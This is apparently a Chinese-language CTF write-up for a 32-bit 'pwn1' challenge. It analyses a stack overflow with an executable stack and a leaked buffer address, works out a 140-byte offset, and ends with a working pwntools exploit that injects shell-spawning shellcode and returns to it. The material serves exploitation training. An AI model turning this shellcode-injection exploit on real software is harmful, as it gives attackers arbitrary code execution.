pwn1
1.程序分析
首先file一下,发现是32位程序:
checksec一下,发现栈段可以执行:
ida分析,main函数内部调用了vulnerable_function(),可以用来栈溢出:
同时发现上面的printh可以用来泄露buf的地址,因此可以将shellcode填上buf处,然后根据泄露的地址再跳回来执行shellcode
程序一下,可以查看到泄露的buf地址:
gdb调试发现需要淹没的长度为: 0 x f f f f d 2 d 8 − 0 x f f f f d 250 + 4 = 140 0xffffd2d8-0xffffd250+4 = 140 0xffffd2d8−0xffffd250+4=140
2.栈帧设计
基于上述思路,栈帧如下:
3.exp编写
from pwn import *
shellcode = asm(shellcraft.sh())
io = process("/mnt/d/study/ctf/pwn/pwn1/level1")
buf = int(io.recvline()[14:-2], 16)
payload = shellcode + cyclic(140 - len(shellcode)) + p32(buf)
io.sendline(payload)
io.interactive()